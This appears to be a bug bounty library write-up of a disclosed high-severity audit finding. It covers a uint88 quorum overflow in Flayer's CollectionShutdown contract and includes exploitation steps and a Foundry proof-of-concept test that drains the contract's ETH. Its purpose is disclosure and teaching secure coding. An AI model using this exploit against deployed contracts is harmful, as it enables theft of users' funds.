# Quorum overflow in `CollectionShutdown` leads to complete drain of contract's funds

Quorum votes downcast to uint88 overflow in CollectionShutdown, shrinking the divisor so a claimant drains the contract's full balance.

- Payout: Audit contest
- Severity: high
- Program: Flayer
- Found by: 0xc0ffEE
- Disclosed: 2024-08-06
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/146
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-flayer%3AH-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:precision-loss

**Target:** CollectionShutdown.sol (Solidity contract)
**Root cause:** quorumVotes is computed as totalSupply*50% then cast to uint88; with denomination up to 9 and MAX_SHUTDOWN_TOKENS=4, totalSupply can exceed uint88 max, wrapping quorumVotes to a tiny value.
**Steps:**
1. Create collection with denomination 9 via `locker.createCollection(erc721c,'Test Collection','TEST',9)`
2. Mint `0.6190 ether * 10**9` collection tokens to attacker (passes MAX_SHUTDOWN_TOKENS check)
3. Attacker approves and calls `collectionShutdown.start(erc721c)`; quorumVotes overflows to ~0.000015 ether*10**9
4. Mint NFTs, call `collectionShutdown.execute(erc721c, tokenIds)`; Sudoswap sells NFTs for 1 ether
5. Attacker calls `collectionShutdown.claim(erc721c, attacker)`; claim divides by tiny quorumVotes, paying ~20647 ether
**How found:** Code review of the quorum computation: noticed the uint88 downcast at lines 150/247, then reasoned about max denomination (9), MAX_SHUTDOWN_TOKENS (4), and Locker mint scaling to show totalSupply*50% can exceed type(uint88).max, producing a wrapped tiny quorum.
**Exploitation:** Attacker needs only a sub-NFT amount of collection tokens with high denomination to trigger shutdown; after NFTs liquidate for a small amount, the claim formula `availableClaim * claimableVotes / (quorumVotes * 100 / 50)` divides by the overflowed tiny quorumVotes, letting the attacker withdraw far more than the sale proceeds, draining the contract's entire ETH balance.
**Insight:** When a value is downcast to a narrow uint, check the product of all scaling factors (denomination, token multipliers, percentages) against the type max; a passing upper-bound check on totalSupply does not guarantee the derived quorum fits.

## Proof of concept (copied exactly from the original report)

**Foundry test proving quorum overflow drains funds**

```
function test_QuorumOverflow() public {
    locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 9);

    // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
    locker.setInitialized(address(erc721c), true);

    // Set our collection token for ease for reference in tests
    collectionToken = locker.collectionToken(address(erc721c));

    // Approve our shutdown contract to use test suite's tokens
    collectionToken.approve(address(collectionShutdown), type(uint).max);

    // Give some initial balance to CollectionShutdown contract
    vm.deal(address(collectionShutdown), 30000 ether);
    
    vm.startPrank(address(locker));
    // Suppose address(1) holds 0.6190 ether
    // in a collection token with denomination 9
    collectionToken.mint(address(1), 0.6190 ether * 10**9);
    vm.stopPrank();

    // Start collection shutdown from address(1)
    vm.startPrank(address(1));
    collectionToken.approve(address(collectionShutdown), 0.6190 ether * 10**9);
    collectionShutdown.start(address(erc721c));
    vm.stopPrank();

    // Mint NFTs into our collection {Locker} and process the execution
    uint[] memory tokenIds = _mintTokensIntoCollection(erc721c, 3);
    collectionShutdown.execute(address(erc721c), tokenIds);

    // Mock the process of the Sudoswap pool liquidating the NFTs for ETH.
    vm.startPrank(SUDOSWAP_POOL);
    // Transfer the specified tokens away from the Sudoswap position to simulate a purchase
    for (uint i; i < tokenIds.length; ++i) {
        erc721c.transferFrom(SUDOSWAP_POOL, address(5), i);
    }
    // Ensure the sudoswap pool has enough ETH to send
    deal(SUDOSWAP_POOL, 1 ether);
    // Send ETH from the Sudoswap Pool into the {CollectionShutdown} contract
    (bool sent,) = payable(address(collectionShutdown)).call{value: 1 ether}('');
    require(sent, 'Failed to send {CollectionShutdown} contract');
    vm.stopPrank();

    // Get our start balances so that we can compare to closing balances from claim
    uint startBalanceAddress = payable(address(1)).balance;

    // address(1) now can claim
    collectionShutdown.claim(address(erc721c), payable(address(1)));

    // Due to quorum overflow, address(1) now holds ~ 20647 ether
    assertApproxEqRel(payable(address(1)).balance - startBalanceAddress, 20647 ether, 0.01 ether);
}
```

